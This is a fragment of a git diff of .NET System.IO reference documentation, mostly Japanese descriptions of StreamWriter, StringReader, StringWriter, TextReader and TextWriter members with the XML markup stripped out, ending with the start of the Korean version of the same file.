現在のインスタンスのコンストラクターで指定した 。エンコーディングを指定しなかった場合は、。 + 2 + + + 現在のライターで使用したすべてのバッファーをクリアし、バッファー内のすべてのデータを基になるストリームに書き込みます。 + 現在のライターがクローズされています。 + I/O エラーが発生しました。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + 1 + + + このストリームのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + バッキング ストアを持たない書き込み専用の StreamWriter を提供します。 + 1 + + + ストリームに文字を書き込みます。 + ストリームに書き込む文字。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列を書き込みます。 + 書き込むデータを格納する文字配列。 が null の場合は、何も書き込まれません。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列の一部を書き込みます。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字列を書き込みます。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + I/O エラーが発生しました。 + 1 + + + 文字を非同期でストリームに書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 非同期でストリームに文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列を非同期でストリームに書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列から読み取る を実装します。 + 2 + + + 指定した文字列から読み取る クラスの新しいインスタンスを初期化します。 + + を初期化する目的の文字列。 + + パラメーターが null です。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から次の文字を読み取り、1 文字分だけ文字位置を進めます。 + 基になる文字列の次の文字。または使用できる文字がない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から文字のブロックを読み取り、 だけ文字位置を進めます。 + バッファーに読み取られた合計文字数。要求しただけの文字数を読み取ることができなかった場合、この値は要求した文字数より小さくなります。基になる文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + バッファー内の開始インデックス。 + 読み取る文字の数。 + + は null なので、 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + 現在のリーダーが閉じています。 + 2 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在の文字列から 1 行分の文字を読み取り、そのデータを文字列として返します。 + 現在の文字列の次の行。文字列の末尾に到達した場合は null。 + 現在のリーダーが閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 2 + + + 現在の文字列から非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、文字列リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在位置から文字列の末尾まですべての文字を読み取り、1 つの文字列として返します。 + 基になる文字列の現在位置から末尾までの内容。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 現在のリーダーが閉じています。 + 2 + + + 現在位置から文字列の末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置から文字列の末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字列に情報を書き込む を実装します。情報は、基になる に格納されます。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式コントロールで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + 指定した への書き込みを行う クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + + は null なので、 + + + 指定した に書き込みを行い、指定した書式プロバイダーを持つ クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + 書式を制御する オブジェクト。 + + は null なので、 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 出力の書き込みに使用する を取得します。 + 出力の書き込み時に適用する Encoding。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + + + 基になる を返します。 + 基になる StringBuilder。 + 2 + + + 現在の StringWriter に書き込まれた文字を格納している文字列を返します。 + 現在の StringWriter に書き込まれた文字を格納している文字列。 + 2 + + + 文字列に文字を書き込みます。 + 書き込む文字。 + ライターが閉じられました。 + 2 + + + 文字配列の一部を文字列に書き込みます。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + または が負の値です。 + ( + )> 。Length. + ライターが閉じられました。 + 2 + + + 現在の文字列に文字列を書き込みます。 + 書き込む文字列。 + ライターが閉じられました。 + 2 + + + 文字列に文字を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に文字列を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 非同期で文字列に文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に非同期で文字列を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 一連の文字を読み取ることができるリーダーを表します。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り対象のデータを TextReader に提供しません。 + 1 + + + リーダーや文字の読み取り元の状態を変更せずに、次の文字を読み取ります。リーダーから実際に文字を読み取らずに次の文字を返します。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、リーダーがシークをサポートしていない場合は -1。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + テキスト リーダーから次の文字を読み取り、1 文字分だけ文字位置を進めます。 + テキスト リーダーからの次の文字。それ以上読み取り可能な文字がない場合は -1。既定の実装では、-1 が返されます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のリーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、リーダー内に使用できるデータがあるかどうかによって異なりますが、 以下の数値になります。読み取り対象の文字がない場合にこのメソッドを呼び出すと、0 (ゼロ) が返されます。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にリーダーの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のテキスト リーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から ( + -1) までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 2 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーから 1 行分の文字を読み取り、そのデータを文字列として返します。 + リーダーの次の行。またはすべての文字が読み取られた場合は null。 + I/O エラーが発生しました。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + + が閉じています。 + 次の行の文字数が、 を超えています。 + 1 + + + 1 行分の文字を非同期的に読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、テキスト リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーの現在位置から末尾まですべての文字を読み取り、1 つの文字列として返します。 + テキスト リーダーの現在位置から末尾までのすべての文字を含む文字列。 + I/O エラーが発生しました。 + + が閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 次の行の文字数が、 を超えています。 + 1 + + + テキスト リーダーの現在位置から末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からテキスト リーダーの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 一連の文字を書き込むことができるライターを表します。このクラスは抽象クラスです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式プロバイダーで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + この TextWriter で使用する改行文字を格納します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされると、出力を書き込む文字エンコーディングを返します。 + 出力の書き込み時に適用する文字エンコーディング。 + 1 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + テキスト ライターは破棄されます。 + ライターは現在、前の書き込み操作で使用中です。 + + + 書式を制御するオブジェクトを取得します。 + 特定のカルチャ設定の オブジェクト、または他のカルチャ設定が指定されていない場合は現在のカルチャ設定の書式。 + 2 + + + 現在の TextWriter で使用される行終端文字列を取得または設定します。 + 現在の TextWriter で使用する行終端文字列。 + 2 + + + バッキング ストアを持たない書き込み専用の TextWriter を提供します。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字配列をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込みます。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込むオブジェクト。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込みます。 + 書き込む文字列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + + または が null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。 が null の場合は、何も書き込まれません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をテキスト文字列またはストリームに書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + データの読み込みを開始する、 内の文字の位置。 + 書き込む文字の最大数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込むオブジェクト。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む文字列。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + 文字列またはオブジェクトが null として渡されました。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 行終端記号をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。文字配列が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/ko/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/ko/System.IO.xml new file mode 100644 index 0000000..7157cae --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/ko/System.IO.xml @@ -0,0 +1,2262 @@ + + + + System.IO + + + + 기본 데이터 형식을 특정 인코딩의 이진 값으로 읽습니다. + 2 + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 가 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 하는 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 